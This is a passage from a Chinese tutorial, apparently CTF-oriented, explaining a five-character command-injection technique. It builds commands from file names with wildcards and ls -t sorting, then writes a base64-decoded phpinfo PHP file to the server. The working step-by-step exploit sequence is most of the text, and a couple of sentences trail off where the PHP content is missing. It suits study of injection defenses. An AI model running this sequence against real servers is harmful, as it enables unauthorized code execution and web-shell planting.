原理说明:-h参数以易读的方式显示文件大小(如1KB、234MB),配合-t使用可以调整排序位置。

通配符执行

*通配符

1
*

原理说明:*是通配符,展开后会将目录下所有文件名作为参数。第一个文件名会被当作命令执行,其余文件名作为参数传递给该命令。

反斜杠换行

1
2
3
cmd \
arg1 \
arg2

原理说明:反斜杠\是续行符,将一条命令多行化,以行末没有\为终止。

dir命令

1
dir > filename

原理说明:dir命令与ls类似,但写入文件时不会自动换行,所有文件名会在一行中,并用空格分隔。

五字符RCE示例

原理说明:利用重定向符、ls排序、通配符等技巧,在字符限制下构造命令。

完整利用步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 1. 创建dir文件
>dir

# 2. 创建ls -ht > f的各个部分
>f\>
>ht-
>sl

# 3. 将所有文件名写入v文件
*>v

# 4. 创建rev文件
>rev

# 5. 反转v内容写入a文件
*v>a

# 6. 创建echo命令的各个部分
>hp
>p\
>1.\
>\
>-d
>\
>64
>se
>ba
>\|
>=
>=
>Ow
>gp
>by
>5m
>aW
>hw
>cG
>Ag
>aH
>9w
>PD
>S}
>IF
>{
>\
$>ho
>ec

# 7. 执行a文件(包含ls -ht > f)
sh a

# 8. 执行f文件(包含构造的命令)
sh f

最终构造的命令echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php

原理说明

  • >dir>f\>等命令创建文件,文件名就是命令的一部分
  • *>v 将所有文件名写入v,ls -t按时间排序,dir在最前面
  • *v>a 反转v内容写入a,得到ls -ht > f
  • sh a 执行a文件,生成f文件,内容为ls -ht > f
  • 其他文件名组合成echo命令,通过ls -t排序后正确拼接
  • sh f 执行f文件,最终执行echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
  • PD9waHAgcGhwaW5mbygpOw==是的base64编码
  • 最终写入1.php文件,内容为